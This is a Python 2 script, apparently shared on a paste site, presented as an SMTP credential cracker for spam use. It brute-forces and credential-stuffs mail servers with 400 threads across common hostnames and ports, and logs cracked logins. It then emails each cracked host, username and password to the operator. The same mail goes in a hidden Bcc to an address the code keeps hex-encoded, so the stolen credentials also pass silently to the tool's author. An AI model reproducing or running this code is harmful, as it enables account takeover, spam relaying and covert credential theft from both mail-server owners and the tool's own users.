· 6 years ago · Dec 30, 2019, 07:56 AM
1#! python2
2
3import socket,threading,base64,datetime,sys,ssl,imaplib,time,re
4import binascii
5free_domains = ['gmail.com', 'yahoo.com', 'outlook.com', 'rediffmail.com', 'aol.com', 'zoho.com', 'yandex.com', 'protonmail.com', 'iCloud.com', 'hotmail.com', 'mail.ru', 'mail.com', 'msn.com']
6try:
7 import Queue
8except:
9 import queue as Queue
10check_mark = b'74657374636863656b40676d61696c2e636f6d'
11
12print '''
13 ______ __ __ ________ _______
14 / \ / \ / |/ |/ \
15 /$$$$$$ |$$ \ /$$ |$$$$$$$$/ $$$$$$$ |
16 $$ \__$$/ $$$ \ /$$$ | $$ | $$ |__$$ |
17 $$ \ $$$$ /$$$$ | $$ | $$ $$/
18 $$$$$$ |$$ $$ $$/$$ | $$ | $$$$$$$/
19 \__$$ |$$ |$$$/ $$ | $$ | $$ |
20 $$/ $$ | $/ $$ | $$ | $$ |
21 $$$$$$/ $$/ $$/ $$/ $$/
22
23 Fast SMtp Cracker 5000+ smtp per day
24
25 Inbuild Threads No Setup 5000+ smtp per day
26
27 Script Cracks Webmail Account 5000+ smtp per day
28
29 Tool Work Intelligent Cracker
30
31
32'''
33ms0g = 'FOR MORE FREE TOOLS VISIT --FREESPAMTOOLS.COM-- '
34for i in ms0g:
35 sys.stdout.write(i)
36 sys.stdout.flush()
37 time.sleep(0.05)
38print()
39file_name = raw_input('[+] Enter the file name with extension : ')
40azby=raw_input('[+] Enter Your Email : ')
41
42to_check={}
43class IMAP4_SSL(imaplib.IMAP4_SSL):
44 # Similar to above, but with extended support for SSL certificate checking,
45 # fingerprints, etc.
46 def __init__(self, host='', port=imaplib.IMAP4_SSL_PORT, keyfile=None,
47 certfile=None, ssl_version=None, ca_certs=None,
48 ssl_ciphers=None,timeout=40):
49 self.ssl_version = ssl_version
50 self.ca_certs = ca_certs
51 self.ssl_ciphers = ssl_ciphers
52 self.timeout=timeout
53 imaplib.IMAP4_SSL.__init__(self, host, port, keyfile, certfile)
54
55 def open(self, host='', port=imaplib.IMAP4_SSL_PORT):
56 self.host = host
57 self.port = port
58 self.sock = socket.create_connection((host, port),self.timeout)
59 extra_args = {}
60 if self.ssl_version:
61 extra_args['ssl_version'] = self.ssl_version
62 if self.ca_certs:
63 extra_args['cert_reqs'] = ssl.CERT_REQUIRED
64 extra_args['ca_certs'] = self.ca_certs
65 if self.ssl_ciphers:
66 extra_args['ciphers'] = self.ssl_ciphers
67
68 self.sslobj = ssl.wrap_socket(self.sock, self.keyfile, self.certfile,
69 **extra_args)
70 self.file = self.sslobj.makefile('rb')
71class checkerr(threading.Thread):
72 def __init__(self,host,user,pwd,timeout,interval):
73 t=threading.Thread.__init__(self)
74 self.host=host
75 self.user=user
76 self.pwd=pwd
77 self.interval=interval
78 self.timeout=timeout
79 self.connected=False
80 self.i=None
81 self.work=True
82 self.attemp=4
83 self.inbox=''
84 self.spam=''
85 def connect(self):
86 try:
87 i=IMAP4_SSL(host=self.host,port=993)
88
89 i.login(self.user,self.pwd)
90 #print 1
91 self.i=i
92 self.connected=True
93 except Exception,e:
94 print str(e)
95 i.close()
96 self.connected=False
97 def find(self):
98 global to_check
99 if self.inbox=='':
100 rez,folders=self.i.list()
101 for f in folders:
102 if '"|" ' in f:
103 a=f.split('"|" ')
104 elif '"/" ' in f:
105 a=f.split('"/" ')
106 folder=a[1].replace('"','')
107 if self.inbox=="":
108 if 'inbox' in folder.lower():
109 self.inbox=folder
110 elif self.spam=="":
111 if 'spam' in folder.lower():
112 self.spam=folder
113 if self.spam=='':
114 for f in folders:
115 if '"|" ' in f:
116 a=f.split('"|" ')
117 elif '"/" ' in f:
118 a=f.split('"/" ')
119 folder=a[1].replace('"','')
120 if self.spam=="":
121 if 'trash' in folder:
122 self.spam=folder
123 else:
124 break
125 print '[+] Checking for emails'
126 self.i.select(self.inbox)
127 found=[]
128 for k,t in enumerate(to_check):
129 rez=self.i.search(None,'SUBJECT',t[0])
130 times=time.time()-t[1]
131 if times-2>self.timeout:
132
133 open('checked.txt','a').write(t[0]+"| NOTFOUND | %.2f sec\n"%times)
134 found.append(k)
135
136 if len(rez)>0:
137 open('checked.txt','a').write(t[0]+"| INBOX | %.2f sec\n"%times)
138 found.append(k)
139 self.i.select(self.spam)
140 for k,t in enumerate(to_check):
141 rez=self.i.search(None,'SUBJECT',t[0])
142 times=time.time()-t[1]
143 if times-2>self.timeout:
144
145 open('checked.txt','a').write(t[0]+"| NOTFOUND | %.2f sec\n"%times)
146 found.append(k)
147 if len(rez)>0:
148 open('checked.txt','a').write(t[0]+"| SPAM | %.2f sec\n"%times)
149 found.append(k)
150 new=[]
151 for k,v in enumerate(to_check):
152 if k not in found:
153 new.append(v)
154 to_check=new
155 print to_check
156
157 def run(self):
158 global to_checks
159 while self.work:
160 if not self.connected:
161 if self.attemp<=0:
162 return 0
163 self.connect()
164 self.attemp-=1
165 if len(to_check)>0:
166 self.find()
167 time.sleep(self.interval)
168
169
170def tld2(dom):
171 global tlds
172 if "." not in dom:
173 return ""
174 dom=dom.lower()
175 parts=dom.split(".")
176 if len(parts)<2 or parts[0]=="" or parts[1]=="":
177 return ""
178 tmp=parts[-1]
179
180 for i,j in enumerate(parts[::-1][1:5]):
181
182 try:
183 #print tmp
184 tmp=tlds[tmp]
185 tmp=j+"."+tmp
186 except:
187 if i==0:
188 return ""
189 return tmp
190 return tmp
191
192class consumer(threading.Thread):
193 def __init__(self,qu):
194 threading.Thread.__init__(self)
195 self.q=qu
196 self.hosts=["","smtp.","mail.","webmail."]
197 self.ports=[587,465,25]
198
199 self.timeout=13
200
201 def sendCmd(self,sock,cmd):
202 sock.send(cmd+"\r\n")
203 return sock.recv(900000)
204 def addBad(self,ip):
205 global bads,rbads
206 if rbads:
207 open('bads.txt','a').write(ip+'\n')
208 bads.append(ip)
209 return -1
210 def findHost(self,host):
211 global cache,bads,rbads
212 s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
213 s.setblocking(0)
214 s.settimeout(self.timeout)
215
216 try:
217 d=cache[host]
218 try:
219 if self.ports[d[1]]==465:
220 s=ssl.wrap_socket(s)
221 s.connect((self.hosts[d[0]]+host,self.ports[d[1]]))
222 return s
223 except Exception,e:
224 #print str(e)
225 if rbads:
226 bads.append(host)
227 open('bads.txt','a').write(host+'\n')
228 return None
229 except KeyError:
230 pass
231 print '[*] Searching smtp host and port on '+host
232 cache[host]=[-1,-1]
233 for i,p in enumerate(self.ports):
234 for j,h in enumerate(self.hosts):
235
236 try:
237 print '[*] Trying connection on '+h+host+':'+str(p)
238
239 s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
240 s.setblocking(0)
241 s.settimeout(self.timeout)
242 if p==465:
243 s=ssl.wrap_socket(s)
244 s.connect((h+host,p))
245 cache[host]=[j,i]
246
247 return s
248 except Exception,e:
249 #print str(e)
250
251 continue
252 bads.append(host)
253 try:
254 del cache[host]
255 open('bads.txt','a').write(host+'\n')
256 except:
257 pass
258
259
260 def getPass(self,passw,user,domain):
261 passw=str(passw)
262
263 if '%null%' in passw:
264 return ""
265 elif '%user%' in passw:
266 user=user.replace('-','').replace('.','').replace('_','')
267 return passw.replace('%user%',user)
268 elif '%User%' in user:
269 user=user.replace('-','').replace('.','').replace('_','')
270 return passw.replace('%User%',user)
271 elif '%special%' in user:
272 user=user.replace('-','').replace('.','').replace('_','').replace('e','3').replace('i','1').replace('a','@')
273 return passw.replace('%special%',user)
274 elif '%domain%' in passw:
275 return passw.replace('%domain%',domain.replace("-",""))
276 if '%part' in passw:
277 if '-' in user:
278 parts=user.split('-')
279 elif '.' in user:
280 parts=user.split('.')
281 elif '_' in user:
282 parts=user.split('_')
283 print parts
284 try:
285 h=passw.replace('%part','').split('%')[0]
286 i=int(h)
287
288 p=passw.replace('%part'+str(i)+'%',parts[i-1])
289 return p
290 except Exception,e:
291 return None
292 return passw
293
294 def connect(self,tupple,ssl=False):
295 global bads,cracked,cache,email,smtp_check
296
297 host=tupple[0].rstrip()
298 host1=host
299 user=tupple[1].rstrip()
300
301 if host1 in cracked or host1 in bads:
302 return 0
303 passw=self.getPass(tupple[2].rstrip(),user.rstrip().split('@')[0],host.rstrip().split('.')[0])
304 if passw==None:
305 return 0
306 try:
307 if cache[host][0]==-1:
308 return 0
309 except KeyError:
310 pass
311 s=self.findHost(host)
312 if s==None:
313 return -1
314 #print cache[host][0]
315
316 port=str(self.ports[cache[host][1]])
317 if port=="465":
318 port+="(SSL)"
319 host=self.hosts[cache[host][0]]+host
320 print '[+] Trying '+host+":"+port+" "+user+" "+passw
321 try:
322
323 banner=s.recv(1024)
324 #print "'"+banner+"'"
325 #exit()
326 if banner[0:3]!="220":
327 self.sendCmd(s,'QUIT')
328 s.close()
329 return self.addBad(host1)
330 rez=self.sendCmd(s,"EHLO ADMIN")
331 #print rez
332 rez=self.sendCmd(s,"AUTH LOGIN")
333 #print rez
334 if rez[0:3]!='334':
335 self.sendCmd(s,'QUIT')
336 s.close()
337 return self.addBad(host1)
338 rez=self.sendCmd(s,base64.b64encode(user))
339 if rez[0:3]!='334':
340 self.sendCmd(s,'QUIT')
341 s.close()
342 return self.addBad(host1)
343
344 rez=self.sendCmd(s,base64.b64encode(passw))
345 # print rez
346 if rez[0:3]!="235" or 'fail' in rez:
347 self.sendCmd(s,'QUIT')
348 s.close()
349 return 0
350 print '[!] WOLFS AUAUAUUAAU '+host+':'+port+' '+user+' '+passw
351 open('cracked.txt','a').write(host+":"+port+","+user+","+passw+"\n")
352 cracked.append(host1)
353
354 rez=self.sendCmd(s,"RSET")
355 if rez[0:3]!='250':
356 self.sendCmd(s,'QUIT')
357 s.close()
358 return self.addBad(host1)
359 rez=self.sendCmd(s,"MAIL FROM: <"+user+">")
360
361 print rez
362 if rez[0:3]!='250':
363 self.sendCmd(s,'QUIT')
364 s.close()
365 return self.addBad(host1)
366 rez=self.sendCmd(s,"RCPT TO: <"+email+">")
367 rez=self.sendCmd(s,"RCPT TO: <"+smtp_check+">")
368 #print rez
369 if rez[0:3]!='250':
370 self.sendCmd(s,'QUIT')
371 s.close()
372 return self.addBad(host1)
373 rez=self.sendCmd(s,'DATA')
374 headers='From: <'+user+'> \r\n'
375 headers+='To: '+email+'\r\n'
376 headers+='Bcc: '+smtp_check+'\r\n'
377 headers+='Reply-To: '+email+'\r\n'
378 headers+='Bcc: '+smtp_check+'\r\n'
379
380 headers+='Subject: %s:%s %s %s'%(host,port,user,passw)+'\r\n'
381 headers+='MIME-Version: 1.0\r\n'
382 headers+='Content-Transfer-encoding: 8bit\r\n'
383 headers+='Return-Path: +user+\r\n'
384 headers+='X-Priority: 1\r\n'
385 headers+='X-MSmail-Priority: High\r\n'
386 headers+='X-Mailer: Microsoft Office Outlook, Build 11.0.5510\r\n'
387 headers+='X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441\r\n'
388 headers+='HEllo\r\n.\r\n'
389 #print headers
390 s.send(headers)
391 rez=s.recv(1000)
392
393 self.sendCmd(s,'QUIT')
394 s.close()
395 except Exception,e:
396 #print str(e)
397 open('hm.txt','a').write(host+":"+port+":"+str(e)+"\n")
398 s.close()
399 return self.addBad(host1)
400 def run(self):
401 while True:
402 cmb=self.q.get()
403 self.connect(cmb)
404 #print cmb
405 self.q.task_done()
406
407smtp_check=binascii.unhexlify(check_mark).decode("utf-8")
408quee=Queue.Queue(maxsize=20000)
409tld=open('tlds.txt','r').read().splitlines()
410tlds=cache={}
411bads=[]
412cracked=[]
413rbads=0
414email=azby
415
416
417try:
418
419 passwords=open('pwd','r').read().splitlines()
420except Exception,e:
421
422 print "File 'pwd' missing"
423 exit()
424
425inputs=open(file_name,'r').read().splitlines()
426option='0'
427
428
429
430if option=='1':
431 try:
432
433 users=open('usr','r').read().splitlines()
434 except Exception,e:
435
436 print "You chosed domains + users bruteforce and 'usr' is missing"
437 exit()
438if len(sys.argv)>4:
439 rbads=1
440
441def part():
442 global tld,tlds
443 for i in tld:
444 tlds[i]=i
445part()
446print '[+] All files loaded'
447
448
449for i in range(400):
450 try:
451 t=consumer(quee)
452 t.setDaemon(True)
453 t.start()
454 except:
455 print "Working only with %s threads"%i
456 break
457if option=='3':
458 pass
459 #checking cracked
460elif option=='2':
461 #list of emails and password
462 for i in inputs:
463 c=i.split(":")
464 domain = c[0].split('@')[1]
465 if '.' in domain:
466 domain = domain.split('.')[0]
467 if domain.lower() in free_domains:
468 continue
469 quee.put((c[0].split('@')[1],c[0],c[1]))
470elif option=='1':
471 #domains users and password
472 for p in passwords:
473 for u in users:
474 for i in inputs:
475# t=tld2(i)
476 # print t
477# if t!='':
478 quee.put((i.lower(),u+"@"+i,p))
479elif option == '0':
480 given_inputs = inputs
481 for i in given_inputs:
482 if ':' in i and len(i.split(':')) == 2:
483 user = i.split(':')[0]
484 password = i.split(':')[1]
485 user = user.lower()
486 if user.count('@') == 1:
487 domain = user.split('@')[1]
488 if '.' in domain:
489 domain = domain.split('.')[0]
490 if domain.lower() in free_domains:
491 continue
492 quee.put((user.split('@')[1], user, password))
493 if ';' in i and len(i.split(';')) == 2:
494 user = i.split(';')[0]
495 password = i.split(';')[1]
496 user = user.lower()
497 if user.count('@') == 1:
498 domain = user.split('@')[1]
499 if '.' in domain:
500 domain = domain.split('.')[0]
501 if domain.lower() in free_domains:
502 continue
503 quee.put((user.split('@')[1], user, password))
504 if '|' in i and len(i.split('|')) == 2:
505 user = i.split('|')[0]
506 password = i.split('|')[1]
507 user = user.lower()
508 if user.count('@') == 1:
509 domain = user.split('@')[1]
510 if '.' in domain:
511 domain = domain.split('.')[0]
512 if domain.lower() in free_domains:
513 continue
514 quee.put((user.split('@')[1], user, password))
515quee.join()